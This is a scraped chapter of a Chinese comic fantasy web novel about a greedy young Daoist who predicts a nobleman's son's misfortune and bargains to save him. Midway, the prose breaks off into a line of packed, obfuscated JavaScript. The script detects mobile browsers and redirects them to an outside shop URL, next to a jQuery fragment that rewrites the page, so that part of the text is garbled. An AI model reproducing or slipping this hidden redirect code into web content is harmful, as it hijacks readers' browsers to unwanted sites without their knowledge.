默认冷灰
24号文字
方正启体

3. 殉情

作者:一口吞只鹅本书字数:K更新时间:
    中午,柳巷口,几道身影鬼鬼祟祟。


    林木阳瞅着远处人模狗样的道士:“就那货?来你们家骗吃骗喝?”


    长得倒怪好看的!


    宿尘无语点头。


    林木阳拍胸脯:“看我的,今日就让他原形毕露!”


    云清那边,眼睛“噌”地一下就亮了。


    哟呵!财神爷上门了嘿!


    他就说今日开摊能赚大钱!


    别的玄学大佬都淡泊名利、无欲无求,一心攒功德。


    云清不一样。


    他日常财迷,兼职攒功德,专职赚钱。


    要不是老道士在信中透露玄机,这功德他攒都懒得攒,专搞钱它不香吗?


    但攒功德归攒功德,不影响他搞钱!


    林木阳大摇大摆走到云清摊前,猛地一拍桌子:“一卦千金?”


    “你这小道,倒是好大的口气!”


    云清眼皮都没抬,慢悠悠伸出两根手指:“缘主,拍坏桌子,维修费二十两。”


    林木阳噎住,准备好的词儿卡在喉咙里。


    “……啥?”


    “桌子,”云清总算抬眼,笑得贼灿烂,“您这一巴掌下去,它受内伤了。”


    “二十两,童叟无欺。”


    林木阳气笑了:“神他娘的受内伤,我是来拆穿你这个骗子的!”


    “哦,”云清恍然大悟,麻利地又伸出一根手指,“那再加十两咨询费,谢谢惠顾。”


    林木阳被云清这一顿骚操作整懵了。


    他还什么都没做呢,就花费了三十两?


    抢钱也不是这么抢的!


    “不是,你这道士......穷疯了吧!”


    云清点了点头。


    可不是穷疯了么。


    身上连半个铜子都没有,穷啊。


    上辈子加这辈子都是穷道士,穷怕了。


    另一边,宿尘与观言立于远处,瞧那摊前光景,只觉愈发离谱。


    只见那道士仅伸两指,寥寥数语,林木阳便似原地炸毛,一副即刻便要撸袖子干架的之态。


    宿尘无奈,只得快步上前。


    他刚到摊前,还没站稳,桌上的金宝‘噌’地一下就蹦起来往下跳:


    “爹爹——”


    宿尘吓得魂都飞了,赶紧手忙脚乱伸手在半空将人给捞住。


    只见云清依旧端坐在凳子上,一副泰然自若、纹丝不动的模样。


    这人,究竟是怎么把这团子拉扯大的?


    这娃,命可真够硬的!


    旁边的林木阳见状眼珠子都快瞪出来了。


    他失声惊呼:“你儿子?!!”


    什么时候的事儿?他怎么不知道?


    宿尘被迫抱娃,面无表情,淡淡道:“不是。”


    “那他唤你爹爹作甚?”


    “此事说来话长,”宿尘明细不想长话短说,只道:“非亲生。”


    林木阳闻言,又倒吸一口凉气。


    好家伙!此乃何等大无畏之精神!


    他这兄弟,竟连非亲生子都认?!!


    “不是,总之……不是你想的那样。”宿尘言罢,将金宝重新放回桌上。


    他可不习惯身上挂着个奶团子,再可爱也不行。


    “父亲,我待会儿可以和爹爹走吗?”金宝转头望向一旁的云清。


    这娃......竟唤这道士父亲!


    林木阳刚平复下去的震惊,“噌”一下又窜上来了。


    他看向宿尘。


    “他唤他父亲,唤你爹爹……你二人……”


    林木阳脑中灵光一闪,仿佛悟了什么惊天大秘。


    “你们……在玩一种很新奇的把戏?”


    “我……我是你二人乐趣中的一环?!”


    宿尘只觉心累,暗道:罢了,毁灭吧!


    云清这才慢悠悠起身,斜睨向林木阳,却问宿尘:“你朋友?”


    未待他二人说什么,他继续道:“今日离他远些,这人,要倒大霉。”


    林木阳闻言,猛地一拍案几,指着云清鼻子骂道:“好你个神棍!”


    “接下来莫不是要说‘这位施主,我观你印堂发黑,乌云盖顶,此乃大凶之兆’?”


    “近日恐有血光之灾!轻则见血,重则毙命!”


    “然后,便要我掏银子买命!”


    他说得唾沫横飞,瞧着是真动了气。


    云清摸了摸鼻子,含糊道:“呃,虽然……话虽如此,然今日缘主确有大凶之兆。”


    “轻则……呃,毙命,重则……倒也可花钱消灾。”


    宿尘:……


    林木阳:……


    云清从袖中摸出一张黄符,叠了叠,踱过去往林木阳腰间一塞:“贫道今日初开张,与缘主也算有面缘。”


    “这道保命符,便送你了,分文不取!”


    说罢收拾摊子便要走,转身又道:“哦对了,若要贫道出手相助,一次,纹银一千两,概不赊欠!”


    林木阳指着云清背影,手指乱颤:“他他他……就这么走了?”


    咒完人就走?


    这小道,这张嘴,一定没少挨毒打吧?!


    还是说,他想以退为进,引我注目?


    这伎俩,倒是新奇!


    宿尘亦是一头雾水,只觉一腔火气无处发,恰似一拳打在棉絮上,绵软无力。


    他看不透云清,也不知其意欲何为。


    唯可断定:此獠,绝非善类!


    试问,哪家正经道士会对一个男子挤眉弄眼!


    “哇——爹爹!”


    金宝奶声奶气一嗓子,差点没把林木阳魂儿都吓飞了。


    他偷瞄看了一眼宿尘,脚下的步子悄悄挪了挪了,挡在了小不点面前。


    林木阳真怕宿尘一怒,祸水东引。


    娃还小,经不起毒打。


    最后,宿尘只能一脸便秘的表情,不情不愿地把金宝揣走了。


    偏生这小崽子跟块狗皮膏药似的,除了宿尘谁碰跟谁急。


    于是,京城民众就看见,那个平日里横着走的宿小公子,今儿个怀里揣了个奶娃子,脸臭得像刚吃了屎。


    那奶娃子还乐呵呵的,小手还使劲扒拉着宿尘的脖子,嘴里“爹爹爹爹爹”叫个不停。


    “我不是你爹,不准叫我爹!”宿尘黑着脸警告道。


    “好的爹爹~”


    金宝奶声奶气,小手一指远处红彤彤的糖葫芦,双眼发亮:“爹爹,金宝要吃那个!”


    宿尘后槽牙磨得咯吱响,末了还是冲观言一甩头:“掏钱。”


    林木阳跟在旁边,嘴角快咧到耳根了,硬是用手掐着大腿才没笑出声。


    老话说得好,卤水点豆腐,一物降一物。


    敢情能治住宿尘的,是这么个奶里奶气的小不点!


    “很好笑?”


    冷不丁一句,跟冰锥子似的扎过来。


    林木阳脖子一缩,脸上的笑瞬间僵成表情包。


    开什么玩笑,宿尘那拳头可是真能把他门牙打掉的!


    傍晚的时候,金宝脖子上挂着大包小包回到了偏屋。


    “父亲,我回来了!”他小短腿一跨进院子便朝里面喊道。


    云清正在画着符,懒得理会他。


    金宝却浑不在意,自顾自将怀里那些油纸包解开,一股脑堆在云清脚边的蒲团上。


    甜腻的糕点香混着咸香的卤肉味儿,瞬间盖过了清苦的墨汁与朱砂气息。


    他爬上桌,献宝似的举起一块糖糕,踮着脚往云清眼前凑:


    “爹爹给买的!父亲尝尝,可甜了!”


    云清执笔的手腕稳得一批,他连眼睫都未曾颤动一下。


    金宝举着糖糕的小手悬在半空,半晌,只得悻悻地缩回来,自己啊呜咬了一大口。


    随后,鼓着腮帮子含糊不清地嘟囔:“那……那给父亲留着。”


    吃完手里的,他便爬下了地,一屁股坐在团铺上。


    背靠着云清的腿,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340701|199312||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    两只小手托着肉乎乎的脸颊,也不闹腾了。


    就那么安安静静地坐着,长长的睫毛慢慢合上......


    天黑透了,云清终于画完。


    此刻,外面热闹了起来。


    云清一把薅起地上的金宝,夹着就往外走。


    宿尘黑着脸冲了过来,看见云清夹着个流口水的娃,声音小了一些:“你对林木阳做了什么?!”


    云清瞅着他。


    宿尘跟后的春松急忙上前朝云清行礼,着急道:“道长,求您救我家公子性命。”


    原来,林木阳与宿尘分开后便回了林府。


    用完晚膳后他便回了自己的院子,走着走着,“啪叽”一下,人便突然猛栽地上了。


    瞬间不省人事,无论怎么唤都不醒。


    众人赶紧请来了大夫查看。


    大夫来看后,只说了一句:“没救了。”


    让他们赶紧准备后事。


    林家众人见林木阳的脸色却越来越白,呼吸也越来越弱,哭声瞬间惊天动地……


    春松突然想起云清白天的话,赶紧去看那道符。


    好家伙,符成灰了,风一吹,没了。


    众人一惊,林家主赶紧差春松去请人。


    云清听完,掏了掏耳朵:“哦,我那符……质量这么差?”


    众人嘴角抽搐,心中暗忖:重点不是应该去救人吗?


    “慌什么,”云清拍了拍睡得正欢的金宝,眼神扫过急得快哭出来的春松,“人又没真断气,准备吃啥席。”


    春松:“……”


    云清溜达两步,凑到宿尘跟前,无视对方几乎要噬人的眼神,轻佻地勾了勾唇角,伸出俩手指头:


    “要我救人也行,你得答应我两个条件。”


    这种时候,不坐地起价……啊不是,不谈判更待何时。


    “第一个条件,接下来一个月,你得全听我的,我去哪你去哪,随叫随到。”


    “第二,救人的诊金,得翻两......不,三倍!只限救林公子一人!”


    “你——!”


    宿尘双目赤红,死死瞪着云清。


    他胸口剧烈起伏着,声音因极致的愤怒而扭曲,几乎是从牙缝里挤出的声音。


    云清若无其事,静静地等着对方的答应。


    宿尘死死盯着云清,仿佛要将他生吞活剥。


    随即深吸一口气,又猛地吐出。


    他几乎是咆哮道:“行——!我答应你!”


    “你最好真有本事救他!”


    “不然,我让你陪葬!”


    “啧,殉情那是小情侣才干的事儿!”


    云清垂眸看向他,“我与那林公子清清白白,你莫乱点鸳鸯谱。”


    宿尘一口气差点没上来,拳头捏得咯吱响,愣是憋了回去。


    几人来到林府时,但见林府内灯火煌煌,隐隐约约飘荡着女子幽咽的哭声。


    春松引着众人来到林木阳的院落。


    林家上下此刻都聚集在偏厅里,见春松领来一位身着道袍的俊秀少年,心头俱是一怔。


    再定眼细瞧,这少年怀中竟还抱着个……酣睡的奶娃娃。


    林家众人:“……”


    春松上前一步:“老爷,这位便是云清道长。”


    林家主略一颔首,目光在云清身上停留片刻,沉声道:“小道长真有办法救我家阳儿性命?”


    云清嘴角微撇——


    道长便是道长,何苦非加个“小”字?


    不过,看在他并未因自己年少便贸然质疑的份上,待会儿定会好生施救。


    云清开口道:“林老爷,府上之事,贫道已知晓。”


    “若无不妥,可否容我先查看贵公子状况?”


    林家主点头应允,赶忙亲自将他引至主卧。


    主卧内,云清只远远地扫了眼床上的林木阳,脚底板差点抹油开溜。


    他低着声音,商议道:“要不......?还是准备吃席吧?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)